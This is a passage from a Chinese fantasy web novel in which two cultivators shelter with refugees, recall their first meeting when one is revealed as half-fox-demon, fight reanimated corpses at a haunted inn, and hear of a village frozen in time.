刚要开口,只听见漆黑的雨夜门外传来一阵孩童的哭声。
“我去看看。”
沐念秋起身欲往,谢常安却一把拉住他,一脸警惕,快速说道:“诶先别别去,我我就是被一个孩子骗到撷芳斋的,半夜三更荒郊野岭怎怎么会有孩子哭啊,好瘆人……”
荒郊野岭,大雨滂沱,孩童哭泣——妥妥的鬼故事开头!
仔细想来确有道理。
沐念秋从善如流,果然又坐近了点,任凭她拽着自己的胳膊。
只听门吱呀一响。
门吱呀一响,却是虚惊一场。
开门的是一对中年男女,男人怀里抱着一个孩子,看起来是一家三口。孩子正止不住地
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啼哭,脸上泛着不自然的潮红,三人神色匆忙中透露着疲惫,一身破衣烂裳全被雨打湿了,皆是形容狼狈,像是逃难来的一般,只有孩子身上稍干,被父亲尽力保护着。
见到庙里已经有人,三人明显也被吓了一跳,谢常安见三人样子,疑虑已然尽消,赶忙解释道:“大哥大姐,我们也是路过避雨的,不是什么坏人,这边暖和,你们也过来坐吧!”
“诶诶,好,好。”女人迟疑片刻,唯唯诺诺地点头答应。
男人见他们确实不像什么坏人,人还挺好,于是抱着孩子一起坐到了火堆边。
“他看起来不太舒服,是不是病了?”谢常安见孩子脸色潮红,啼哭不止,关切地问。
一听这话,女人终于忍不住哽咽起来,“我……我没用,照顾不好小宝,我……”
一旁男人拍了拍妻子的后背,无奈叹息道:“唉,我们一路逃难,大人尚且受不住,何况孩子呢。”
“我……略通一点儿医术,如果二位放心的话……”见孩子病的可怜,谢常安自告奋勇。
“放心放心,事到如今了我们还有什么不放心的,要是真能救我家孩子一命,我真……我真……”男人喜出望外,不等她把话说完,两眼殷切地望着谢常安。
谢常安见他激动地快要跪下了,顿时压力山大,赶忙道:“大哥大哥,我……我年纪轻轻,医术也有限,您别……别……”
“不打紧不打紧,您只要愿意救他就好,我们……我们两口子,真不知道怎么感谢您好了!”
谢常安十分不熟练地接过孩子,连连保证,“我肯定尽力,肯定尽力……”
“只是……只是这荒郊野岭的,什么东西也没有,您拿什么医人呢?”女人在旁担心道。
谢常安与沐念秋对视一眼,觉得眼前三人实在不像坏人,此时救人要紧,便开口解释道:“实不相瞒,我二人其实都是修道之人,略通一点儿岐黄之术。”
从前在天枢院,治疗术是每个弟子从小必修的法门,谢常安也不例外。
她松开沐念秋,右手抚上孩子心口,一道温和的灵力自掌心溢出。不出片刻,孩子渐渐不哭了。
夫妻二人纷纷露出了惊异的表情。
“烦请一问,您二位是从哪逃难来的?”一旁沐念秋问道。
“这位是……”男人方才注意力全在孩子身上,此时才看向方才一言不发的沐念秋,又见二人举止似乎有些亲密,又好像没那么亲密,一时摸不清二人关系,不知如何称呼。
沐念秋闻言并不开口,而是转头将视线落到了谢常安身上。
“这是我……师兄。”
“原来如此,原来如此!”
男人看了眼妻子,见孩子好转,二人没方才那么焦急担心,女人也不再哽咽,心领神会地看了眼丈夫,一脸温柔地对他们讲道。
“仙师客气了,仙师客气了……我们是从蜀中逃难来的。”
“蜀中?”一听见这个地方,谢常安无法无动于衷。
15. 迷局
见她变了脸色,女人不知为何,以为自己说错了话,小心翼翼止住了话头,“我……仙师,我是不是说错什么话了呀?我……”
谢常安意识到自己的失态,回过神来,“没有没有,大姐,你接着说,蜀中怎么了?”
“我们是十天前从蜀中逃难来的,蜀中离这儿也不远,那边……那边不太平,有好多的妖怪,到处都在死人……”
女人说到此处一脸惊恐,又长叹一口气,“唉,我们祖祖辈辈住在村子里,本来想着都是别处在死人,反正还没死到我们村里,就凑合着过吧。落叶归根,再怎么样人也不能离开家吧,我们除了种地什么也不会,活了半辈子就没出过家门,也没见识,出来了总不能带着孩子要饭吧?可是半月前,终于轮到我们了。”
“隔壁村子一夜之间人全死光了,离我们……离我们只隔着十里地啊,再不跑,谁能保准下一个不会轮到我们呢?我们俩可以接着冒险住在村里,可孩子怎么办?”一说起孩子,女人滔滔不绝。
“没想到,刚出来没两天,小宝就病了,刚开始还会说‘娘我难受’,后来,就一天天的不见好,总是发烧,病的也不说话了,要不是遇见二位活菩萨,我……我们真不知道怎么办好了。”
“本来跑出来就是为了孩子能有条活路,没想到……没想到外面……”女人想到自己一家前途未卜的命运,又忍不住抽噎起来。
此番经历听者落泪闻者伤心。
“那……那就没人管吗?”
女人擦了擦眼泪,接着讲道,“之前听说来了位仙师,姓沈还是什么?都说很厉害的,我们那时都以为有救了,结果……结果后来也不了了之了……”
谢常安说不出话来。
沐念秋一边将自己烘干的里衣递给孩子,自然而然地接道:“你们之后打算怎么办?村子里其他人呢,也逃出来了吗?”
女人一脸茫然看向丈夫,男人眉头紧锁,“我们听说江南富庶,想去看看,有没有活路,能不能讨口饭吃……”
孩子已沉沉睡去,谢常安把他轻轻递给母亲,怕吵醒孩子,她阻止住正欲道谢的夫妻二人。沐念秋起身把供桌上的冷馒头分给大家。
事已至此,四人相顾无言。
谢常安此时的状况实在说不上好,饥寒交迫无家可归,衣物盘缠早不知丢哪里去了——自顾已然不暇。
反观身旁的沐念秋,也好不到哪去——不知咋的,一路上他是一会儿脱一件,一会脱一件的,现下裤子倒是齐整,上衣几乎不剩什么了。
两人一路又跑又游,东西都是丢的差不多了,自身尚且难保,此时实在拿不出什么接济别人。
夜已很深,奔波一路,大家都是精疲力尽,不再说话。谢常安又拿起一个馒头捏了捏,掰开两半凑到鼻子下面闻了闻,感觉没坏还能吃,于是递给对面的沐念秋一半。
“吃馒头吗?”
小庙里火光葳蕤,她的思绪不由自主地飞回了两年前,两人第一次相遇的时候。
-
仙门百家有个特殊的传统,每四年组织一次灵山祈福。
所谓灵山祈福,每次都选在一年中的秋分之日——昼夜等长,阴阳平衡。众门派各出一两名内门弟子,登上白灵山山顶,举办神圣庄严的请神典仪,请昆仑神女赐下神谕,庇佑众生,保人间太平安康。
然而这个活动一直暗地里颇受诟病——为什么会这样呢?是因为每次请神典仪前,还有一个十分重要且漫长的环节——各门派子弟会先在白灵山下修行两月。
所谓修行,就是要祛除身上的浮躁戾气,以示对昆仑神女的绝对尊重。
据说修行结束后哪怕最顽劣的弟子也能在灵山的圣光普照下变得如同皈依般沉静,不可谓是脱胎换骨、卓有成效。这一个月修行不仅每日早起晚睡焚香沐浴,且在白灵山上任何人都无法使用灵力,内容丰富且无趣,可谓是吃糠咽菜苦不堪言。
所以各门派一般都会叫自家小辈去,权当作历练,既锻炼身体,又磨练心智。
神奇的是每次回来后竟无一人抱怨修行艰苦不易,问起来也大多只说灵山风景秀美,谢常安去之前也曾听人提及,说得天花乱坠,什么山下清泉甘冽,山上更是美不胜收,望月涯星河如织,金桂飘香云云……
她年少单纯,听此传言兴致盎然,去之前一月有余便早早收好行李,十分期待。
可回来后才知上当——虽觉不至于苦不堪言,但也绝不是什么轻松愉快的体验。
为什么传言与实际大相径庭呢?
仔细想来,多半是有两个原因——一方面昆仑是修道之人传说中的圣地,没有人敢公开说祈福有什么不好;另一方面她隐隐感觉这是每届祈福弟子流传下来的一个“骗局”,诓骗下届师弟师妹上当——这才终于明白了为什么每届弟子去之前兴高采烈,回来却如霜打茄子。
外人看来是经过圣地洗礼熏陶后由内而外地散发出的平和中正之气,反正谢常安回来后自觉全是饿的——每日的饭像是在吃草,还要修行锻炼,既吃不饱还要跑,过得还不如牛。
所以刚来不到七日,有天晚上谢常安终于饿得不行,翻来覆去无法入睡,最后一拍肚子,一不做二不休,决定铤而走险——半夜去厨房,悄无声息偷点饭吃,给自己加加餐。
-
夜晚的白灵山更显静谧,谢常安早就踩好点,轻车熟路摸黑溜到了后厨。
她左手举着个蜡烛,右手端着个碗,装备十分齐全,借着幽幽烛光麻利地装了两个馒头,正准备神不知鬼不觉离开作案现场,静谧的黑暗突然里一声轻笑。
似乎有什么活物此时也在这间屋子里。
谢常安本就做贼心虚,此时夜深人静,更添诡异,她吓得猛地一哆嗦,滚烫的蜡油好巧不巧地滴到了手上。
“嘶——”
她差点惊呼出声,又是一抖,一时间左手的蜡烛也翻了,右手的碗也掉地上摔碎了。
屋子里霎时间一片黑暗,她的眼睛一时间没有适应黑暗,什么也看不见,恐怖的氛围达到了顶点,一点点细微的声响被放大了许多,谢常安感觉自己似乎已经听见了角落里未知生物的呼吸声,感觉到了空气中流动的妖气。
可白灵山是仙门圣地,离妖界十万八千里远,周遭结界森严,怎么可能有妖出现在这里?
难道是自己已经吓傻了产生了幻觉吗?
她本就是偷偷来的,谁承想饭还没吃上一口又遇
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到这种怪事,此时又心虚又害怕,简直快要哭出来了!
“谁……谁在那里?”谢常安声音颤抖,鼓足了勇气没有夺门而逃。
“我是人,不是鬼。”角落里响起一道清朗的男声,听声音似乎有些无奈。
一听这声音这语气,谢常安冷静了许多,“你是谁呀?你怎么在这里?”半夜三更在白灵山后厨遇到活人的概率显然很小但绝不是零,她想了想,决定先不走了。
“真是吓得我快要死掉了,人吓人吓死人……”她重新捡起地上的蜡烛点燃,还不忘顺便捡起地上的馒头,一边往里走去,一边碎碎念。
“你别过来!”角落的人语气却突然变了,疾言厉色道。
谢常安此时恢复了思考能力,并不理会那人的劝告,一听这声音,更加觉得十分耳熟,好像是这几天别的门派一起同修的弟子,叫什么来着?
“沐念秋?!”
厨房本就不大,谢常安没两步就走到那人跟前,借着烛光一下子就认出了沐念秋。
印象里他似乎不太爱与人说话,十几岁的少年人最是成群结队的打成一片,可他这几天却总是一个人,让人觉得疏离。
沐念秋坐在角落的地板上,低着头不说话。
“呃,沐……师兄,你在生气吗?”谢常安有时候能看明白一点别人的眼色,虽然不明白他为什么不太开心,还是体贴地停在了三步之外,小心翼翼地问道。
其实沐念秋并没有生气,他本来心情是不怎么好,也不方便见人,才找了个没人的屋子,想自己待一会儿。
谁知道大半夜的真有人不睡觉跑来后厨,扰他的清净。他一点也不想深夜和人在厨房里打招呼问好,于是坐在角落里没出声,静静地看着谢常安端着蜡烛拿着碗,从盆里精挑细选了两个……馒头?就为了这?来都来了不拿点好的?
他和谢常安算不上认识,印象里她在人群里一点儿也不起眼,总是和另一个卷头发的矮个子女孩待在一起,晨功晚读精神萎靡,一吃饭就很开心,一笑起来眼睛弯弯的。
此时看着她这个又窝囊又害怕的样子,不免觉得一阵好笑,心里的阴霾好像突然一扫而空了。
他嘴角上提,没忍住轻笑出声,没想到差点把她吓死——更好笑了。见她害怕极了,怪可怜的,虽然他不太想暴露自己,但是又感觉到有点儿不忍心,这才无可奈何地回应了一下。
没想到她拿了馒头不赶紧走,非要过来瞅瞅。
“沐师兄?你怎么大热天的还戴着帽子?”
此时离秋分尚有一月有余,白灵山上天气虽说不算酷暑难耐,但也绝对没有冷到需要戴帽子保暖,可沐念秋却穿着一件斗篷,斗篷上连着一顶大大的兜帽,盖在头上遮住了他小半张脸。
谢常安不明就里,无知无觉地离近了,想看个分明。
走近一看,她顿时瞪大了眼睛,面前的人长相没变,五官却是不太一样了——沐念秋本就偏浅的瞳色变得更浅了,几乎是淡淡的金色,像一颗昂贵的宝石,在黑夜中流光溢彩。兜帽上鼓鼓的,被头顶上的两只耳朵顶起两个包,兜帽下掉出几缕发丝,发丝颜色也比平时更浅一点,呈现出栗色的光泽。
妖气是他传来的?!
16. 夜访
沐念秋平时总是一副生人勿进的样子——虽然现在还是,但是谢常安却莫名有种看小动物露出獠牙的既视感,一点儿杀伤力都没有。
她以往从没见过这样的人,一时间看呆了。
见她呆住,沐念秋抬起眸子瞥了她一眼,一开口露出两颗尖尖的獠牙。
“行了,别看了。”
谢常安立即意识到自己好像是看见不该看的事情了,赶忙压住了内心的震惊,眼珠子转了一圈,目光落回到自己的手指。
“我……也不是故意要看你这副样子的,是你自己没有藏好,我也是不小心才……”
她三两句话先撇清自己,当机立断把黑锅盖在扣在沐念秋的头上。
见他没什么表示,又往跟前凑了凑,信誓旦旦保证道:“不过你放一万个心,今天晚上的事,天知地知,你知我知,我肯定不会说出去的!”
沐念秋放不了一点儿心,他作为明德宗的亲传弟子,身上却有一半妖族的血统,从小到大这是绝对不能被外人知道的秘密。
来之前他也备好了平日控制妖力的药,可没想到白灵山对灵力的影响如此之大,今晚又赶上望日,竟让他无法压制妖气,这才找了个地方自己待着。
可偏偏遇到这么个莫名其妙的人。
他脑子里乱极了,想起很多小时候的事情,身上忽冷忽热的,感觉妖力开始不受控制地乱流。
谢常安也搞不明白,为什么沐念秋会有妖族的血统,她觉得“明德宗二公子可能是妖”这件事应该是个天大的秘密,绝对不应该被自己知道。
可现在自己偏偏轻飘飘的知道了。
知道的越多死的越快,她真后悔,后悔自己胃口大开,非要夜访厨房,给自己找点麻烦。
她眼观鼻鼻观心,见沐念秋没有要杀人灭口的意思,只是皱着眉头一言不发,顿时稍松一口气。她一点也不介意他这种把她当空气的态度,并且十分的理解——这种秘密被别人发现了肯定心情不好。
现在最要紧的是她得加把劲儿,好好安慰安慰他。
谢常安以己度人,从手中掰了半个珍贵的馒头递给沐念秋,“诶,别难过了,你要不要吃一点儿?吃点东西的就好了。反正已经这样了,我记性很差的,明天就忘了,真的不会说出去的——而且我自己也是偷跑出来的,说出去也解释不清嘛,咱们是一条绳上的蚂蚱了。”
沐念秋接过馒头,有点儿头疼,又有点儿无语,“……怎么你干吃馒头不噎得慌吗?”
“这里毕竟是灵山诶,说实话我不敢……偷太明显的我怕被发现,可是又实在饿得慌——而且干吃馒头的话,仔细品味其实越嚼越甜,也很好吃的,没有那么噎的。”
沐念秋没想到她神经大条至此,发现了如此生死攸关的惊天秘闻,竟无动于衷,而关注点竟然还在馒头上,忍不住也咬了一口细细咀嚼。
好像是有点甜。
他明知道不该放任自己这样,可不知为何,他真的一点也不想去解决问题,疲惫、安心、痛苦,交织在他心口。
为什么我只能东躲西藏?凭什么我要提心吊胆怕别人知道?
谢常安不知道他在想什么,也坐在地上默默陪着他啃馒头。两人对着干嚼馒头,一时不语。
“哦,对了!”谢常安突然出声。
“我刚还打碎了个碗在地上嘞!会不会被发现啊……得赶紧去收拾了我……”
一抬头沐念秋正目光殷殷地看着她,谢常安一阵紧张,若无其事移开眼睛,大脑空白口不择言:“这说起来全怪你,要……要不是你躲在黑影里吓我,我也不会失手打碎……”我又慌什么呢?老天,我在说什么东西,我自己不小心干什么怪人家……他的眼睛好漂亮……不是,不对,现在不是想这些的时候,话说他为什么会变成这样?
谢常安一阵头脑风暴,心里翻江倒海,面上装作沉静似水,又接着关心道:“唉,有句话不知当讲不当讲……”
不等他开口回答,她自己接着问道:“你为什么会变成……这个样子,一直这样也不行吧,你这样要紧吗?怎么才能变回去啊?我能帮你做些什么吗?”
沉默了一会儿,没想到沐念秋还是回答了,“我父亲是妖。当初……母亲不顾家里人反对,生下了我。所以在家里面大家都不太喜欢我。”
他语气平静,听不出喜怒,可谢常安却觉得听出了一阵落寞。
两人此前甚至不算认识,她不知道这算不算是交浅言深,自己或许真的不应该这道这个秘密。可话到嘴边,她又觉得没什么——没有人能决定自己的身份和血统,是人是妖真的有那么大关系么?
她没再细问,他母亲为什么会和一个妖在一起?又为什么不顾反对生下他?后来他的父母怎么样了?
“我不知道当初发生了什么,但是你的母亲一定是非常的爱你和你的父亲才会这样不顾家人反对生下你,所以你的父母他们一定都很爱你。”谢常安总算说了句人话。
“或许吧,反正他们都不在了……”
“对不起啊,我不知道……”
“我没事,都是以前的事了,天不早了,你该回去了。”
“那你怎么办,总不能这样回去吧?”
沐念秋却一反常态摘下兜帽,一对雪白的狐狸耳朵立在头顶,一双桃花眼直视着谢常安,看得人人心惶惶,语气也难得得带了几分温柔。
“听我的,你回去吧。天亮之前我自然会恢复,别担心,好吗?”
“……好。”
后来,谢常安只记得当时五迷三道地走出了厨房,连地上的碎片也忘收拾了,全然不记得自己一路上怎么回的寝室,躺在床上,迷迷糊糊地睡着了。
-
-
翌日一早,谢常安睁开眼睛,外面已是雨过天晴,一缕阳光透过破损的屋顶打在她的脸上。
她环视一圈,不见沐念秋身影。
“去哪了?”谢常安疑惑地爬起来,正巧迎面撞上沐念秋从外面进来,兜着几颗不知从哪摘的野果。
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“诶?果子……咦?昨天晚上那一家三口呢?”谢常安揉了揉眼睛,捡了个果子吃。
“他们一大早已经走了。”
“走了?嗯……好吃。”
“慢点吃。”
“话说你记不记得,我们以前也一起偷过馒头?”
“不记得。”
“诶?怎么会,明明你就……”
沐念秋嘴角噙着一抹不易察觉的微笑,慢悠悠说道:“那是你自己偷的。”
“……”
谢常安撇了撇嘴:“好吧好吧,你说是就是。昨天其实是骗你的,我不是离家出走,我是被逐出师门没地方去啦,你也不是离家出走吧。”
“我……”
见她突然如此坦诚,沐念秋却一时不知如何解释。
谢常安也不介意,“算了,没关系,你不想说就先别说了——接下来你有什么打算?”
“嗯,我想去趟蜀中——你为什么……要告诉我这些?”
谢常安不以为意,轻松地笑着说:“因为我们是一根绳上的蚂蚱了,你和我一样,是个好人——正巧,我也要去趟蜀中,一起吗?”
“好。是去查你师父的事?”
“不全是!”
-
蜀中一带,越往西走越荒芜,人烟稀少,零零散散几处村庄。
两人一路跋涉,好容易在路边找到了一家客栈,客栈取名“如归客栈”,店虽小,可此地前后无人,能有一个带屋顶的地方住对两人来说已经很不错了。
店小二热情洋溢:“哎呦两位客官里面请,您打尖还是住店诶?”
店中一应陈设俱全,谢常安却总觉得哪里好像不对劲儿,但又说不上来什么。
见她犹豫,小二大力推销:“咱这方圆十里就我们这一家店,错过了再找可就难喽,您放心,我们店虽然小点儿,住起来肯定是舒舒服服,干干净净,包您满意!”
两人走进店内,店内光线不算好,青天白日里也显得有点儿暗,谢常安总觉得有种说不上来的诡异,但仔细想想,又没什么道理,只当是自己的错觉。
“我们住店。您这儿多少钱一间?”
“二钱一晚,二位要几间房?”
谢常安犯了难。
都说一文钱难倒英雄汉,她自打出门,过的可谓是三天饿五顿的“苦日子”,幸好她是修仙之人,饿不死——也就失去了饿死一了百了再不会饿的机会。
她想了想他们微薄的盘缠,这一路上两人过得十分拮据,且主要都是沐念秋在掏钱——她的钱早就丢在“秦楼楚馆”不知哪个犄角旮旯了。
一想起这事儿,也是离谱,别的姑娘都是去青楼赚钱,就她运气格外好,去了纯丢钱。
此时她实在有些舍不得在房间上如此奢侈,心道:这一路上他虽不提,却已经对我颇多照顾了,这种事他肯定不好开口,我先说好了,别叫他为难。
打定主意,她看也不看沐念秋的表情,当机立断直接回道:“我们要一间。”
17. 同床
“啊?啊!”店小二了然。“好嘞,您二位楼上请!”
“……”
两人风餐露宿多日,一想到一会儿终于能好好休息一晚,谢常安心情都松懈了不少——一月前她还舒舒服服地住在玉衡山上,没想到如今却连住个屋子都觉得是天大的幸福,真是人生无常!
沐念秋默默付了一间屋子的钱,看着谢常安轻松的样子,他的心里却不太舒服。
谢常安没注意到他的沉默,修整妥当后,要了份饭菜,看着屋子里的唯一一张床,终于想起来要征求下沐念秋的意见。
“沐师兄,你不介意吧?”现在开口,纯属废话,房都开好了,沐念秋想介意也晚了。
“我睡别处吧。”沐念秋道。
谢常安环顾一圈,屋子不大,除了床实在没有别处适合睡觉。
“……那这里还有别的可以用来睡觉的地方吗?”事已至此,她死猪不怕开水烫,索性豁出去道:“我睡觉不占地方的,这床完全够两个人睡,绰绰有余!”
她看起来似乎全无所谓,其实心里无比十分非常紧张,只得故意不去看沐念秋,一想到……不行不行,不能细想。
正当此时,沐念秋却一反常态,突然把她推到床上,谢常安没想到他突然这么主动,慌乱间,左脚拌右脚,倒在床榻上。
“沐……沐师兄,你这是干嘛?”
沐念秋一只膝盖跨在床边,身体压下来,唇边竖一根食指,示意她噤声,又俯下身,几乎是贴着她的耳边小声说道:“门边,有人。”
床上是个视野盲区,外面的人看不见,沐念秋继续贴近,两人距离更近,他悄悄从被褥间摸出佩剑——明德宗一派惯常使剑,剑气大开大合,有海纳百川之态,剑锋间有悲悯众生之意,方成集大成者。
谢常安头顶快要冒烟了,顾不上多想为什么佩剑会放在床上,咽了口口水,也小声问道:“怎么办?”
窗外乌云蔽月,门外有人不怀好意,谢常安再迟钝也反应过来这是家黑店无疑了。
不过两人也都不是手无寸铁的寻常旅客,沐念秋眼神瞟向窗户,“敌暗我明,先跑吧。”
“嗯,好。”
两人行动迅速,一刻不停,迅速拉开距离,立马翻身开窗。
“不好,有结界,出不去!”
迟疑一瞬间,门外已冲进一男一女两人,其中一人正是方才热情的店小二,另一名女子衣着更加考究一点儿,可能是店里的掌柜。两人皆是脸色苍白至极,双目瞳仁乌黑,一身鬼气森森,哪里还有一点儿活人的样子!
这“如归客栈”原来不是宾至如归的归,而是归西的归!
女掌柜举着一把菜刀追着人砍,行动不似常人,迅速非常,手上青筋暴涨,脸上转瞬间浮现出暗红色的妖纹。
沐念秋剑锋犀利,铛铛两下挡住来人攻势,顺势将谢常安护在身后。
谢常安半蹲在地,手指点地,随着灵力荡开,脑中浮现出此地阵法方位。
阵眼就在后院!
阵眼相当于一个能量源,只要找到阵眼破坏掉,这里的邪气自然就会消散。
店内两人虽看起来形容可怖,杀个把寻常人不在话下,但其实只算是较低阶的凶灵,对他们二人来说其实不难对付。
所谓凶灵,与普通妖兽不同,是指受妖气或邪气侵染异化的活人,比起普通妖兽,凶灵更容易被人为控制。
二人很快杀出了屋子,一路上店里的几名跑堂、洒扫、厨子都疯了般扑向他们,张牙舞爪地想要置他们于死地。一阵打斗后,谢常安很快在后院一口枯井里找到了阵眼——一颗晶体状的菱形石头正在井底泛着红光冒着黑气。
她张开双手,转眼间净化了晶石,弥漫在客栈周遭的死寂般的鬼气消散,刚才状若厉鬼的一众店员,顷刻间都干瘪下去,看起来已经死了很久了,一点儿生气没有,好像被烈日烤干的枯树皮。
谢常安拿着手中的晶石,看不出什么名堂,以往从未听说过有这种可以控制死人凶灵的东西,这晶石居然不仅能让死尸复活,还能让其鲜活如初新鲜出炉,竟有点儿“生死人肉白骨”的意思了。
“这是什么鬼东西,竟然能控制死人?”净化过的晶石没了不祥的红光黑气,颜色透明,巴掌大小。她随手打了个响指,晶石变作小拇指大小,收进了随身包裹里。
沐念秋看着她收好晶石,“看来是有人是有人故意在这里摆下这个阵,吸引往来的过路人。”
谢常安不解:“什么人这么做?他的目的是什么?”
她只是随口问问,沐念秋自然不可能知道答案。两人折腾了半宿,邪阵已破,此时有什么问题都只好明天再说。
“好倒霉,花了钱还差点没命,果然这种荒郊野岭的小店都是吃人肉包子的……快点快点把咱的钱找回来!”
回到大堂,谢常安还心有余悸,想到的第一件事就是把房钱拿回来。
大堂里只点了一根蜡烛,光线很暗,她眼睛一边四处张望可能放钱的地方,嘴里一边喋喋不休,“唉,饿死我了,折腾大半夜,连口吃的也没吃上——幸好没吃,不知道他们拿什么做的菜……”
忽的小店大门门吱呀一响,慢悠悠地朝两边打开。
门外夜色正浓,漆黑一片。
小风一吹,谢常安吓了一跳,条件反射抓住了一旁沐念秋的胳膊。
“!”
正觉不妥,刚要松手,却发现沐念秋的手不知何时搭在了自己的手上,仿佛带着点儿安抚的意味。
“没事,应该是风吹的。”沐念秋松开手,错开目光,举起蜡烛,“我去找。”
两人自然而然地松开手,到处找钱,终于在柜台里一个奇怪的小坛子里找到了钱。
“这怎么像个骨灰坛,好晦气,好端端的钱为什么放这里,真的好晦气。”谢常安和骨灰盒面面相觑,迷信的心和财迷的心斗争激烈,一时拿不定主意,“这上面不会有什么恶咒吧,这钱还拿吗?”
“拿。”
谢常安竖起大拇指,“财迷!”
拿了钱,随便从
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厨房找了点能吃的东西充饥,两人决定还是在此地休息一夜。
客房门前,谢常安:“沐师兄,早点休息,虽然也不早了哈哈!”
店里除他俩再没别的活人,空屋应有尽有,倒是不用再为了省钱挤一间屋子了。
沐念秋望了望她,点头答应,“嗯,好。”转身欲走向下一间房。
“诶等等!”谢常安急忙喊住他——店里全是枯尸,她还是有点瘆得慌。
“怎么了?”沐念秋立马停下转身。
“要不……我们还是同住一间吧,那个……就是,我担心这里还有未知的危险,万一嘛……”
谢常安编不下去了,这里邪阵已破,两人也已仔细检查过周围,再发生什么的概率微乎其微。
“嗯,好。”沐念秋却轻易接受了她的说法。
还是一开始的屋子,两人重新躺下,和衣而眠,烛火一熄,周遭一片漆黑,谢常安平时并不习惯和别人睡在一张床上,此时却十分庆幸身边有沐念秋一起。刚刚经历过紧张逃杀的神经竟放松下来,举着砍刀的女尸、冒着黑气的枯井、荒凉的蜀中、一切扑朔迷离的真相……都渐渐地从她的脑海里消失,她迷迷糊糊地向沐念秋靠去,好像躺在了玉衡山上自己的小床上,一夜安眠。
-
“不对劲,不对劲。”
“是不对劲。”
谢常安口中念念有词,两人一早动身,此时已快到正午,不说看到村庄,这一路上连半个人影都没遇到,着实奇怪。
沐念秋背着行囊,正想拉起席地而坐的谢常安,忽见前面不远处弯曲的小路尽头,一名白发老者跌坐在地,一旁的柴火散落一地。
终于见到个人,谢常安招呼一声就要上前,一旁沐念秋却拦在她身前,“我过去看看。”
“哦,好。”谢常安一边答应他一边跟着他,快步走到老人身边。
老人只是背的柴火太重,山路崎岖,不小心跌倒了,并无大碍,重新帮老人拾好柴火后,沐念秋扶起老人,颔首问道:“大伯,您这么大年纪了,怎么还自己出来干这么重的体力活?”
老人眼皮抬也不抬,不答话。
“是啊伯伯,您家里孩子们怎么也不知道来帮您呢?”谢常安附和道。
“唉,孩子不在身边,逃难去了。”老人叹了口气,悠悠说道。
“逃难?”谢常安疑惑。
老人却不以为意,“这破地方怪事连连,都活不下去了,谁不想离开找条活路?也就是我们年纪大了也活够了,哪还有年轻人不往外面跑的,诶?你们从哪来的?”
谢常安不知从何解释,一旁沐念秋一拱手,仪表堂堂,信口胡诌道:“我们是路过的散修,途径此处,走得实在辛苦,想找户人家讨口水喝。老伯,您知道这附近哪有人家吗?”
“走了几日,这一路上却不见什么人,只在北边见到家客栈,奇怪得紧。”谢常安旁敲侧击。
“客栈?”
“是啊伯伯,您知道北边有家……‘如归客栈’吗?”
18. 活祭
老伯一脸见鬼,“二位真乃神人,这方圆十里没几户活人,谁会在这开客栈?”
“……”真让他们见鬼了!
“好了,不是要喝水,跟我走吧!”
谢常安见老伯面色不虞,却还是招呼他们回家,有些啼笑皆非,“伯伯,您就不怕我们是坏人吗?”
老伯背着手就往前走,“年轻人,我会看面相的。”他抬眼看了看谢常安,“小姑娘,我看你不是坏人。”又转头看了看沐念秋,“他?哼,应该也不是。”
谢常安看了看沐念秋的脸色,一阵腹诽,这老伯年纪大了,脾气也是不小,好好的话让他说得莫名难听——不知道沐念秋听到自己“应该不是坏人”的评价,心里作何感想?
沐念秋脸上看不出表情,一手背起柴火,一手牵了牵一旁一脸奇怪笑容的谢常安,示意她跟上。
又走了二三里地,一行三人终于来到一处小村庄。
正值白天,村里几乎家家大门紧闭,街上人烟稀少,青天白日更是一个孩子都看不见,只零星几个中年人推着小车卖点儿自家的小玩意,一点儿没有小村庄该有的炊烟袅袅,鸡犬相闻的热络。
“啊啊啊啊啊啊!哈哈哈!啊啊啊啊啊啊!!!”
谢常安正觉奇怪,忽的一旁蹿出一个蓬头垢面的疯汉,满脸胡须,头发一绺一绺遮住眼睛,先是嘴里嘀嘀咕咕地念着些什么,见到谢常安三人,他突然大声尖叫起来,仿佛受到了极大的惊吓,口里发出非人的声音,只能分辨出几个模模糊糊的音节,听起来像是什么“死”之类的。
“啊呀!什么人啊!”
谢常安见他形状癫狂不似常人,拉住沐念秋的袖子就想跑,可对方也像见了鬼似的,甚至比她更害怕,大叫着转头夺路而逃。
一时间双方都被对方吓得不轻,谢常安这边尚有理智,见那疯汉跑了,小心翼翼地问:“他……在喊什么?”
老伯摇了摇头,没有回答。
“走吧,快到了,进屋跟我喝口水吧!”
-
屋子不大,窗子开的很小,采光也不大好,老伯从柜子里翻出两只粗糙的木碗,倒上白水,递给了二人。
没等两人开口问,他自顾自地讲起了村子里的怪事。
这疯子原本不是疯子,是村子里的一个散汉。
村子交通闭塞,找不到好大夫,因而他爹娘害病走得早,他仗着家里祖上有点薄产,平日里又无人管教,天天游手好闲,四处乱逛,惹是生非。但因为出手大方,所以身边倒也总有那么几个狐朋狗友。
有天晚上,他喝多了酒,晚上自己跑到了邻村,说是去找一个相好的姑娘——也不知真假,谁家的姑娘愿意和一个散汉过日子呢?没成想,去了之后,好好的人回来立马疯了,当时也不知道他看见什么了,嘴里只嘟嘟囔囔地重复着什么“人干儿”“全死了”之类的胡话……
一个大小伙子,吓得连滚带爬的跑回来,一晚上闹得村里鸡飞狗跳的。
“再之后呢?”
“再之后……就是现在这样了——人再没清醒过来,人人都说他是看见了脏东西,吓掉魂儿了,得了失心疯。”
好好的人平白疯了,隔壁村到底有什么?一时间流言蜚语四起,有的说是他辜负了相好的姑娘,姑娘的冤魂来索命。也有人说是黄大仙显灵,把他的魂勾走了,去地府里做阴差……
反正流言越传越离谱,村里人再也坐不住了,连夜商量了一晚,第二天,众人派了几名胆大的小伙子去邻村一探究竟。
一早起几哥小伙子就拿着家伙事儿就去了,奇怪的是,去了却发现根本没事,邻村里半点儿妖魔鬼怪都没有。
大家都神色如常一派祥和,行走坐卧一如往昔。
几人无功而返,只得回来说了情况,大家只当是这散汉自己倒霉撞了邪,是前世的冤孽,这事儿也就这样不了了之了。
“可是时间长了,众人也渐渐发现一些说不通的地方。”
“什么说不通的地方?”
自打那以后,从来不见隔壁村子有人出村——有时村里人去邻村串门,就感觉以前认识的人都好像变了一个人,说不上哪里古怪,就是让人感觉又呆又傻,活像个设定好程序的木偶,失去了自己原本的性格和灵魂。
还有之前生重病的人,也一夜之间好起来了,快生产的妇人,过了好几个月也不生……这时人们才发现,邻村所有人的时间是静止的,这些以前熟悉的人已经变了,变成了活标本。
听到“活标本”,谢常安和沐念秋对视一眼——这情形像是他们昨天在那黑心客栈遇到的,那里的“人”们也像是一具具木偶,早就死了,却还是被人操控着像活人一样行动。
这附近果然是怪事连连!
正欲细问,门外突然传来一阵吵嚷声。
“外面好吵,怎么了?”
